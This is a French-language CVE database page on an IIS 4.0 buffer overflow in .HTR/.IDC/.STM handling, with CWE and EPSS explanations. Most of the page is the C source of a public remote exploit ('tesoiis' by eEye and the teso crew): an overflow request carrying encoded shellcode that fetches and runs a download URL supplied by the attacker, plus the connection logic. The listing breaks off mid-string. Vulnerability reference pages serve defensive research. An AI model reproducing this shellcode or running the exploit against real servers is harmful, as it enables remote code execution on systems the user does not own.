Descriptions du CVE

Buffer overflow in IIS 4.0 allows remote attackers to cause a denial of service via a malformed request for files with .HTR, .IDC, or .STM extensions.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/307/info Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine. IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions. /* iis 4.0 exploit * by eeye security * * ported to unix/C by the teso crew. * * shoutouts to #hax and everyone else knowing us... * you know who you are. * * gcc -o tesoiis tesoiis.c -Wall */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/time.h> #include <arpa/inet.h> #include <netdb.h> #include <net/if.h> #include <netinet/in.h> #include <errno.h> #include <fcntl.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, unsigned short int sourceport, int sec); void net_write (int fd, const char *str, ...); unsigned long int net_resolve (char *host); char stuff[] = "\x42\x68\x66\x75\x41\x50"; /* "!GET /" */ #define URL_OFFSET 1055 char front[] = "GET /AAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "\x41\x41\x41\x41\x41\x41\xb0\x87\x67\x68\xb0\x87" "\x67\x68\x90\x90\x90\x90\x58\x58\x90\x33\xc0\x50" "\x5b\x53\x59\x8b\xde\x66\xb8\x21\x02\x03\xd8\x32" "\xc0\xd7\x2c\x21\x88\x03\x4b\x3c\xde\x75\xf4\x43" "\x43\xba\xd0\x10\x67\x68\x52\x51\x53\xff\x12\x8b" "\xf0\x8b\xf9\xfc\x59\xb1\x06\x90\x5a\x43\x32\xc0" "\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43\x52\x51" "\x53\x56\xb2\x54\xff\x12\xab\x59\x5a\xe2\xe6\x43" "\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43" "\x52\x53\xff\x12\x8b\xf0\x5a\x33\xc9\x50\x58\xb1" "\x05\x43\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75" "\xf4\x43\x52\x51\x53\x56\xb2\x54\xff\x12\xab\x59" "\x5a\xe2\xe6\x33\xc0\x50\x40\x50\x40\x50\xff\x57" "\xf4\x89\x47\xcc\x33\xc0\x50\x50\xb0\x02\x66\xab" "\x58\xb4\x50\x66\xab\x58\xab\xab\xab\xb1\x21\x90" "\x66\x83\xc3\x16\x8b\xf3\x43\x32\xc0\xd7\x3a\xc8" "\x75\xf8\x32\xc0\x88\x03\x56\xff\x57\xec\x90\x66" "\x83\xef\x10\x92\x8b\x52\x0c\x8b\x12\x8b\x12\x92" "\x8b\xd7\x89\x42\x04\x52\x6a\x10\x52\xff\x77\xcc" "\xff\x57\xf8\x5a\x66\x83\xee\x08\x56\x43\x8b\xf3" "\xfc\xac\x84\xc0\x75\xfb\x41\x4e\xc7\x06\x8d\x8a" "\x8d\x8a\x81\x36\x80\x80\x80\x80\x33\xc0\x50\x50" "\x6a\x48\x53\xff\x77\xcc\xff\x57\xf0\x58\x5b\x8b" "\xd0\x66\xb8\xff\x0f\x50\x52\x50\x52\xff\x57\xe8" "\x8b\xf0\x58\x90\x90\x90\x90\x50\x53\xff\x57\xd4" "\x8b\xe8\x33\xc0\x5a\x52\x50\x52\x56\xff\x77\xcc" "\xff\x57\xec\x80\xfc\xff\x74\x0f\x50\x56\x55\xff" "\x57\xd8\x80\xfc\xff\x74\x04\x85\xc0\x75\xdf\x55" "\xff\x57\xdc\x33\xc0\x40\x50\x53\xff\x57\xe4\x90" "\x90\x90\x90\xff\x6c\x66\x73\x6f\x66\x6d\x54\x53" "\x21\x80\x8d\x84\x93\x86\x82\x95\x21\x80\x8d\x98" "\x93\x8a\x95\x86\x21\x80\x8d\x84\x8d\x90\x94\x86" "\x21\x80\x8d\x90\x91\x86\x8f\x21\x78\x8a\x8f\x66" "\x99\x86\x84\x21\x68\x8d\x90\x83\x82\x8d\x62\x8d" "\x8d\x90\x84\x21\x78\x74\x70\x64\x6c\x54\x53\x21" "\x93\x86\x84\x97\x21\x94\x86\x8f\x85\x21\x94\x90" "\x84\x8c\x86\x95\x21\x84\x90\x8f\x8f\x86\x84\x95" "\x21\x88\x86\x95\x89\x90\x94\x95\x83\x9a\x8f\x82" "\x8e\x86\x21\x90\x98\x8f\x4f\x86\x99\x86\x21" /* stick it in here */ "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21" ".htr HTTP/1.0"; void usage (void) { printf ("usage: ./tesoiis host port url\n"); exit (EXIT_FAILURE); } int main (int argc, char *argv[]) { /* yadda,yadda.. you can try exploiting our exploit!! * update: hmm.. is this exploitable? gets EIP touched by exit()? * gotta check this later... */ char host[256], url[256]; int port,sd,t = 0; int m = 0; char *cc, *pfft; struct sockaddr_in cs; printf ("teso crew IIS exploit.. shellcode by eEye.\n"); printf ("------------------------------------------\n"); if (argc < 4) usage(); strcpy (host, argv[1]); strcpy (url, argv[3]); port = atoi (argv[2]); if ((port < 1) || (port > 65535)) usage(); cc = url; pfft = front + URL_OFFSET; while (*cc) { if (*cc == '/' && 0 == t) { memcpy (pfft, stuff, 6); pfft += 6; t = 1; } else { *pfft = *cc + 0x21; pfft++; } cc++; m += 1; } printf ("Host: %s Port: %d Url: %s\n", host, port, url); printf ("Connecting...
